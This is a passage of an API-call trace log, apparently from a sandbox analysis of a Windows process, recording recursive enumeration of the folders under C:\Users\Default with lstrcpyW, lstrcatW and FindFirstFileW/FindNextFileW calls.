lpString1=0x2dca258, lpString2="C:\\Users\\Default\\NetHood\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0118.078] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0118.078] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.078] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0118.078] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0118.078] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.078] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.078] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.078] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0118.078] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0118.078] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.078] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0118.078] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0118.078] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.078] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.078] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.078] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0118.078] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0118.078] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.078] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.079] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0118.079] SetErrorMode (uMode=0x1) returned 0x1 [0118.079] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0118.079] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0118.079] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Pictures\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") returned="C:\\Users\\Default\\Pictures\\" [0118.079] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0118.079] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.079] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0118.079] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0118.079] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.079] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.079] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.079] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.079] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0118.079] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Pictures\\*.*") returned="C:\\Users\\Default\\Pictures\\*.*" [0118.079] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.079] PathFindFileNameW (pszPath="C:\\Users\\Default\\Pictures") returned="Pictures" [0118.079] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0118.079] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.079] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.079] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.079] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.079] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.079] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.080] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1 [0118.080] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1 [0118.080] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0118.080] SetErrorMode (uMode=0x1) returned 0x1 [0118.080] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0118.080] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\PrintHood\\" | out: lpString1="C:\\Users\\Default\\PrintHood\\") returned="C:\\Users\\Default\\PrintHood\\" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0118.080] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.080] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0118.080] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0118.080] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.080] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.080] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.080] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default\\PrintHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\PrintHood\\*.*") returned="C:\\Users\\Default\\PrintHood\\*.*" [0118.080] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.080] PathFindFileNameW (pszPath="C:\\Users\\Default\\PrintHood") returned="PrintHood" [0118.080] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0118.080] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.080] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.080] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.080] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.080] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0118.080] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0118.080] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0118.080] SetErrorMode (uMode=0x1) returned 0x1 [0118.080] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0118.080] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Recent\\" | out: lpString1="C:\\Users\\Default\\Recent\\") returned="C:\\Users\\Default\\Recent\\" [0118.080] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0118.080] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.080] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0118.080] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0118.081] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.081] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.081] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.081] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0118.081] lstrcatW (in: lpString1="C:\\Users\\Default\\Recent", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Recent\\*.*") returned="C:\\Users\\Default\\Recent\\*.*" [0118.081] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.081] PathFindFileNameW (pszPath="C:\\Users\\Default\\Recent") returned="Recent" [0118.081] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0118.081] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.081] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.081] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.081] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.081] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1 [0118.081] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1 [0118.081] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.081] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.081] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0118.081] SetErrorMode (uMode=0x1) returned 0x1 [0118.081] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0118.081] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0118.081] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Saved Games\\" | out: lpString1="C:\\Users\\Default\\Saved Games\\") returned="C:\\Users\\Default\\Saved Games\\" [0118.081] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0118.081] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.081] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0118.081] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0118.081] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.081] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.081] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.081] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.081] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0118.081] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Saved Games\\*.*") returned="C:\\Users\\Default\\Saved Games\\*.*" [0118.081] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.082] PathFindFileNameW (pszPath="C:\\Users\\Default\\Saved Games") returned="Saved Games" [0118.082] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0118.082] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.082] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.082] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.082] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.082] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.082] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.082] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0118.082] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0118.082] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.082] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.082] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0118.082] SetErrorMode (uMode=0x1) returned 0x1 [0118.082] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0118.082] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0118.082] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\SendTo\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0118.082] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0118.082] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.082] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0118.082] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0118.082] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.082] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.082] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.082] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0118.082] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0118.082] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.082] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0118.082] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0118.082] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.083] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.083] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.083] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.083] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0118.083] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0118.083] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0118.083] SetErrorMode (uMode=0x1) returned 0x1 [0118.083] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0118.083] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Start Menu\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0118.083] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.083] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0118.083] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0118.083] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.083] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.083] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.083] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0118.083] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.083] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0118.083] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0118.083] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.083] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.083] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.083] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.083] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0118.083] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0118.083] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0118.083] SetErrorMode (uMode=0x1) returned 0x1 [0118.083] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0118.083] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Templates\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0118.083] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0118.084] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.084] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0118.084] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0118.084] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.084] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.084] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.084] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0118.084] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0118.084] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0118.084] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0118.084] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0118.084] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.084] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.084] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.084] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.084] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0118.084] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0118.084] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0118.084] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0118.084] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0118.084] SetErrorMode (uMode=0x1) returned 0x1 [0118.084] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0118.084] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0118.084] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Videos\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0118.084] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0118.084] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.084] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0118.084] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: 